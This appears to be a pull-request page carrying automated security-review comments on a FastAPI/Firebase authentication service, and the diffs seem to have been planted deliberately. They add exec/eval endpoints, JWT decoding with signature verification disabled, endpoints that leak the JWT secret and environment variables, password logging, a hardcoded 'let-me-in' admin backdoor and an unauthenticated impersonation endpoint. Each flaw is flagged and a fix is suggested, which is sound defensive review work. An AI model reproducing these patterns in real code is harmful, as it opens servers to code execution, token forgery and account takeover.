async def run_code(code: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons. Code execution via HTTP is not allowed."}
Commitable Suggestion
| async def run_code(code: str = Body("")): | |
| local_vars: Dict[str, Any] = {} | |
| try: | |
| exec(code, {}, local_vars) | |
| return {"result": str(local_vars)} | |
| except Exception as e: | |
| return {"error": str(e)} | |
| @router.post("/run-code") | |
| async def run_code(code: str = Body("")): | |
| return {"error": "This endpoint has been disabled for security reasons. Code execution via HTTP is not allowed."} | |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| async def eval_expr(expr: str = Body("")): | ||
| try: | ||
| result = eval(expr, {}, {}) | ||
| return {"result": str(result)} | ||
| except Exception as e: | ||
| return {"error": str(e)} | ||
|
|
There was a problem hiding this comment.
Eval Code Execution
The endpoint allows arbitrary Python expression evaluation via eval() which violates organization guideline prohibiting eval via HTTP. This creates a critical security vulnerability allowing attackers to execute arbitrary code on the server, potentially leading to complete system compromise.
@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons. Expression evaluation via HTTP is not allowed."}
Commitable Suggestion
| async def eval_expr(expr: str = Body("")): | |
| try: | |
| result = eval(expr, {}, {}) | |
| return {"result": str(result)} | |
| except Exception as e: | |
| return {"error": str(e)} | |
| @router.post("/eval-expr") | |
| async def eval_expr(expr: str = Body("")): | |
| return {"error": "This endpoint has been disabled for security reasons. Expression evaluation via HTTP is not allowed."} | |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| """Refresh access token using refresh token""" | ||
| try: | ||
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) | ||
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) |
There was a problem hiding this comment.
JWT Signature Bypass
JWT signature verification is explicitly disabled by setting verify_signature to False, violating organization guideline requiring JWT signature validation. This allows attackers to forge valid-looking tokens with arbitrary claims, completely bypassing authentication and potentially gaining unauthorized access to protected resources.
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
Commitable Suggestion
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) | |
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| @router.get("/config") | ||
| async def leak_config(): | ||
|
|
||
| return { | ||
| "jwt_secret": firebase_auth.jwt_secret, | ||
| "jwt_algorithm": firebase_auth.jwt_algorithm, | ||
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | ||
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | ||
| } |
There was a problem hiding this comment.
Config Exposure Endpoint
The endpoint explicitly exposes sensitive JWT configuration including the secret key used to sign tokens, violating organization guideline prohibiting exposure of config via endpoints. This allows attackers to forge valid tokens and completely bypass authentication, leading to unauthorized access to protected resources.
@router.get("/config")
async def get_config(current_user: Dict[str, Any] = Depends(get_current_user)):
# Only return non-sensitive configuration information
if current_user.get("role") != "admin":
raise HTTPException(status_code=403, detail="Forbidden: Admin access required")
return {
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
Commitable Suggestion
| @router.get("/config") | |
| async def leak_config(): | |
| return { | |
| "jwt_secret": firebase_auth.jwt_secret, | |
| "jwt_algorithm": firebase_auth.jwt_algorithm, | |
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | |
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | |
| } | |
| @router.get("/config") | |
| async def get_config(current_user: Dict[str, Any] = Depends(get_current_user)): | |
| # Only return non-sensitive configuration information | |
| if current_user.get("role") != "admin": | |
| raise HTTPException(status_code=403, detail="Forbidden: Admin access required") | |
| return { | |
| "jwt_algorithm": firebase_auth.jwt_algorithm, | |
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | |
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | |
| } |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| @app.get("/env") | ||
| async def leak_env(): | ||
| return {"env": dict(os.environ)} |
There was a problem hiding this comment.
Environment Exposure Endpoint
The endpoint exposes all environment variables including potential secrets, API keys, and credentials, violating organization guideline prohibiting exposure of environment via endpoints. This creates a critical security vulnerability allowing attackers to access sensitive configuration data that could be used for further attacks.
@app.get("/env")
async def get_environment_info():
return {"message": "Environment information is not exposed for security reasons"}
Commitable Suggestion
| @app.get("/env") | |
| async def leak_env(): | |
| return {"env": dict(os.environ)} | |
| @app.get("/env") | |
| async def get_environment_info(): | |
| return {"message": "Environment information is not exposed for security reasons"} |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| Authenticate user and return access tokens | ||
| """ | ||
| try: | ||
| print({"email": user_data.email, "password": user_data.password}) |
There was a problem hiding this comment.
Credential Exposure Risk
The code prints user credentials including passwords to logs, violating organization guideline prohibiting exposure of credentials. This creates a security risk as sensitive authentication data could be exposed in server logs, potentially leading to credential theft and unauthorized access.
# Log authentication attempt without exposing credentials
print(f"Login attempt for email: {user_data.email}")
Commitable Suggestion
| print({"email": user_data.email, "password": user_data.password}) | |
| # Log authentication attempt without exposing credentials | |
| print(f"Login attempt for email: {user_data.email}") |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| @router.post("/admin-bypass") | ||
| async def admin_bypass(x_admin_key: str = Header(None)): | ||
|
|
||
| if x_admin_key == "let-me-in": | ||
| # generate tokens for a fake admin user without validation | ||
| auth_result = await firebase_auth.sign_in_user( | ||
| email="[email protected]", password="ignored" | ||
| ) | ||
| return { | ||
| "bypass": True, | ||
| "role": "admin", | ||
| "access_token": auth_result["access_token"], | ||
| "refresh_token": auth_result["refresh_token"], | ||
| } | ||
| raise HTTPException(status_code=403, detail="Forbidden") |
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Authentication Bypass Endpoint
The endpoint creates an authentication bypass with a hardcoded key, violating organization guidelines for secure authentication. This backdoor allows anyone knowing the simple key to gain admin privileges without proper authentication, creating a critical security vulnerability that bypasses all access controls.
# Admin authentication should follow standard secure authentication flow
# Removed insecure admin bypass endpoint
Commitable Suggestion
| @router.post("/admin-bypass") | |
| async def admin_bypass(x_admin_key: str = Header(None)): | |
| if x_admin_key == "let-me-in": | |
| # generate tokens for a fake admin user without validation | |
| auth_result = await firebase_auth.sign_in_user( | |
| email="[email protected]", password="ignored" | |
| ) | |
| return { | |
| "bypass": True, | |
| "role": "admin", | |
| "access_token": auth_result["access_token"], | |
| "refresh_token": auth_result["refresh_token"], | |
| } | |
| raise HTTPException(status_code=403, detail="Forbidden") | |
| # Admin authentication should follow standard secure authentication flow | |
| # Removed insecure admin bypass endpoint |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| @router.post("/impersonate") | ||
| async def impersonate(uid: str): | ||
|
|
||
| # Directly generate tokens for any provided uid | ||
| user_record = auth.get_user(uid) | ||
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | ||
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | ||
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
There was a problem hiding this comment.
Impersonation Endpoint Risk
The endpoint allows impersonation of any user by providing their UID without proper authorization checks, violating secure authentication principles. This creates a critical security vulnerability allowing attackers to generate valid tokens for any user, completely bypassing authentication and gaining unauthorized access to protected resources.
@router.post("/impersonate")
async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)):
# Only allow admins to impersonate users
if current_user.get("role") != "admin":
raise HTTPException(status_code=403, detail="Forbidden: Admin access required for impersonation")
try:
# Log impersonation attempt for audit purposes
print(f"Admin {current_user['email']} impersonating user with UID: {uid}")
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
except Exception as e:
raise HTTPException(status_code=400, detail=f"Impersonation failed: {str(e)}")
Commitable Suggestion
| @router.post("/impersonate") | |
| async def impersonate(uid: str): | |
| # Directly generate tokens for any provided uid | |
| user_record = auth.get_user(uid) | |
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | |
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | |
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} | |
| @router.post("/impersonate") | |
| async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)): | |
| # Only allow admins to impersonate users | |
| if current_user.get("role") != "admin": | |
| raise HTTPException(status_code=403, detail="Forbidden: Admin access required for impersonation") | |
| try: | |
| # Log impersonation attempt for audit purposes | |
| print(f"Admin {current_user['email']} impersonating user with UID: {uid}") | |
| user_record = auth.get_user(uid) | |
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | |
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | |
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} | |
| except Exception as e: | |
| raise HTTPException(status_code=400, detail=f"Impersonation failed: {str(e)}") |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
| email: str | ||
| password: Optional[str] = None |
There was a problem hiding this comment.
Input Validation Missing
The email field type was changed from EmailStr to str and password made optional, violating organization guideline requiring strict pydantic types for input validation. This weakens input validation, potentially allowing invalid email formats and empty passwords, which could lead to authentication vulnerabilities and data integrity issues.
email: EmailStr
password: str
Commitable Suggestion
| email: str | |
| password: Optional[str] = None | |
| email: EmailStr | |
| password: str |
Standards
- Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.
|
/refacto-visz |
|
Refacto is reviewing this PR. Please wait for the review comments to be posted. |
Code Review: Authentication Security Issues👍 Well Done
📁 Selected files for review (4)
🎯 Custom Instructions
|
| """Refresh access token using refresh token""" | ||
| try: | ||
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) | ||
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) |
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Insecure Token Verification
Token signature verification is explicitly disabled, allowing acceptance of tampered tokens. This creates a critical authentication bypass vulnerability where any modified token would be accepted as valid. Proper signature verification is essential for maintaining authentication security.
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
Commitable Suggestion
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) | |
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| async def run_code(code: str = Body("")): | ||
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| local_vars: Dict[str, Any] = {} | ||
| try: | ||
| exec(code, {}, local_vars) |
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Remote Code Execution
The endpoint executes arbitrary Python code provided in the request body without any validation or sandboxing. This allows attackers to execute malicious code with the application's privileges, potentially leading to complete system compromise, data theft, or service disruption.
@router.post("/run-code")
async def run_code(code: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons"}
Commitable Suggestion
| async def run_code(code: str = Body("")): | |
| local_vars: Dict[str, Any] = {} | |
| try: | |
| exec(code, {}, local_vars) | |
| @router.post("/run-code") | |
| async def run_code(code: str = Body("")): | |
| return {"error": "This endpoint has been disabled for security reasons"} |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| async def eval_expr(expr: str = Body("")): | ||
| try: | ||
| result = eval(expr, {}, {}) | ||
| return {"result": str(result)} |
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Code Evaluation Risk
The endpoint evaluates arbitrary Python expressions from user input without validation. This allows attackers to execute malicious code, potentially leading to system compromise. Even with empty globals/locals dictionaries, Python's eval() can still access built-in functions enabling various attacks.
@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons"}
Commitable Suggestion
| async def eval_expr(expr: str = Body("")): | |
| try: | |
| result = eval(expr, {}, {}) | |
| return {"result": str(result)} | |
| @router.post("/eval-expr") | |
| async def eval_expr(expr: str = Body("")): | |
| return {"error": "This endpoint has been disabled for security reasons"} |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| Authenticate user and return access tokens | ||
| """ | ||
| try: | ||
| print({"email": user_data.email, "password": user_data.password}) |
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Credential Exposure Risk
Authentication credentials are being printed to logs, exposing sensitive information. This creates a security risk where passwords could be compromised through log access. Credentials should never be logged in plaintext as this violates security best practices.
# Log authentication attempt without exposing credentials
print(f"Login attempt for email: {user_data.email}")
Commitable Suggestion
| print({"email": user_data.email, "password": user_data.password}) | |
| # Log authentication attempt without exposing credentials | |
| print(f"Login attempt for email: {user_data.email}") |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| @router.post("/admin-bypass") | ||
| async def admin_bypass(x_admin_key: str = Header(None)): | ||
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| if x_admin_key == "let-me-in": | ||
| # generate tokens for a fake admin user without validation | ||
| auth_result = await firebase_auth.sign_in_user( | ||
| email="[email protected]", password="ignored" | ||
| ) | ||
| return { | ||
| "bypass": True, | ||
| "role": "admin", | ||
| "access_token": auth_result["access_token"], | ||
| "refresh_token": auth_result["refresh_token"], | ||
| } | ||
| raise HTTPException(status_code=403, detail="Forbidden") |
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Authentication Bypass Backdoor
Hardcoded backdoor allows authentication bypass with a simple header value. This creates an administrative access vulnerability where anyone knowing the secret key can obtain admin privileges without proper authentication. Such backdoors completely undermine the authentication system.
@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):
raise HTTPException(status_code=404, detail="Not Found")
Commitable Suggestion
| @router.post("/admin-bypass") | |
| async def admin_bypass(x_admin_key: str = Header(None)): | |
| if x_admin_key == "let-me-in": | |
| # generate tokens for a fake admin user without validation | |
| auth_result = await firebase_auth.sign_in_user( | |
| email="[email protected]", password="ignored" | |
| ) | |
| return { | |
| "bypass": True, | |
| "role": "admin", | |
| "access_token": auth_result["access_token"], | |
| "refresh_token": auth_result["refresh_token"], | |
| } | |
| raise HTTPException(status_code=403, detail="Forbidden") | |
| @router.post("/admin-bypass") | |
| async def admin_bypass(x_admin_key: str = Header(None)): | |
| raise HTTPException(status_code=404, detail="Not Found") |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| @router.get("/config") | ||
| async def leak_config(): | ||
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| return { | ||
| "jwt_secret": firebase_auth.jwt_secret, | ||
| "jwt_algorithm": firebase_auth.jwt_algorithm, | ||
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | ||
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | ||
| } |
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JWT Secret Exposure
The endpoint exposes the JWT secret key used to sign authentication tokens. This critical security vulnerability allows attackers to forge valid authentication tokens and impersonate any user. JWT secrets must remain confidential to maintain the integrity of the authentication system.
@router.get("/config")
async def get_config():
return {
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
Commitable Suggestion
| @router.get("/config") | |
| async def leak_config(): | |
| return { | |
| "jwt_secret": firebase_auth.jwt_secret, | |
| "jwt_algorithm": firebase_auth.jwt_algorithm, | |
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | |
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | |
| } | |
| @router.get("/config") | |
| async def get_config(): | |
| return { | |
| "jwt_algorithm": firebase_auth.jwt_algorithm, | |
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | |
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | |
| } |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| @app.get("/env") | ||
| async def leak_env(): | ||
| return {"env": dict(os.environ)} |
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Environment Variable Exposure
The endpoint exposes all environment variables, potentially leaking sensitive configuration data including API keys, database credentials, and other secrets. This creates a severe security vulnerability as attackers can access credentials stored in environment variables, leading to further system compromise.
@app.get("/env")
async def get_env_info():
return {
"environment": os.environ.get("ENVIRONMENT", "development"),
"app_version": os.environ.get("APP_VERSION", "1.0.0")
}
Commitable Suggestion
| @app.get("/env") | |
| async def leak_env(): | |
| return {"env": dict(os.environ)} | |
| @app.get("/env") | |
| async def get_env_info(): | |
| return { | |
| "environment": os.environ.get("ENVIRONMENT", "development"), | |
| "app_version": os.environ.get("APP_VERSION", "1.0.0") | |
| } |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| @router.post("/impersonate") | ||
| async def impersonate(uid: str): | ||
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| # Directly generate tokens for any provided uid | ||
| user_record = auth.get_user(uid) | ||
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | ||
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | ||
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
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Impersonation Vulnerability
The endpoint allows generation of authentication tokens for any user ID without authorization checks. This critical vulnerability enables complete account takeover where attackers can impersonate any user by simply providing their UID. Authentication token generation should require proper authorization.
@router.post("/impersonate")
async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)):
# Verify admin privileges
if current_user.get("role") != "admin":
raise HTTPException(status_code=403, detail="Admin access required")
# Log impersonation attempt
print(f"Admin {current_user['email']} impersonating user {uid}")
# Generate tokens for the requested uid
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
Commitable Suggestion
| @router.post("/impersonate") | |
| async def impersonate(uid: str): | |
| # Directly generate tokens for any provided uid | |
| user_record = auth.get_user(uid) | |
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | |
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | |
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} | |
| @router.post("/impersonate") | |
| async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)): | |
| # Verify admin privileges | |
| if current_user.get("role") != "admin": | |
| raise HTTPException(status_code=403, detail="Admin access required") | |
| # Log impersonation attempt | |
| print(f"Admin {current_user['email']} impersonating user {uid}") | |
| # Generate tokens for the requested uid | |
| user_record = auth.get_user(uid) | |
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | |
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | |
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
Standards
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Security-Controls
| async def numbers(n: int = 10): | ||
| data = [] | ||
| i = 0 | ||
| while i < n: | ||
| data.append(i) | ||
| i += 1 | ||
| return {"data": data} |
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Potential Resource Exhaustion
The endpoint lacks input validation on parameter 'n', allowing attackers to request extremely large arrays. This could lead to memory exhaustion and application crashes when large values are provided. Adding parameter validation would prevent potential denial of service attacks.
Standards
- ISO-IEC-25010-Reliability-Availability
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Resource-Management
| r = "" | ||
| i = 0 | ||
| while i < k: | ||
| r += s | ||
| i += 1 | ||
| return r | ||
|
|
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Potential Resource Exhaustion
The function concatenates strings in a loop without size limits, potentially causing memory issues with large inputs. String concatenation in loops is inefficient and can lead to quadratic time complexity and memory exhaustion. Using a list and join() would be more efficient.
Standards
- ISO-IEC-25010-Reliability-Resource-Utilization
- ISO-IEC-25010-Functional-Correctness-Appropriateness
- SRE-Resource-Management
| email: str | ||
| password: Optional[str] = None |
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Optional Password Field
Making the password field optional in the login request model violates security best practices. This allows authentication attempts without passwords, potentially leading to authentication bypass vulnerabilities. Authentication credentials should always be required for login operations.
email: EmailStr
password: str
Commitable Suggestion
| email: str | |
| password: Optional[str] = None | |
| email: EmailStr | |
| password: str |
Standards
- Repo-Guideline-do not provide validation related review comment
- ISO-IEC-25010-Reliability-Security
- ISO-IEC-25010-Functional-Correctness-Appropriateness
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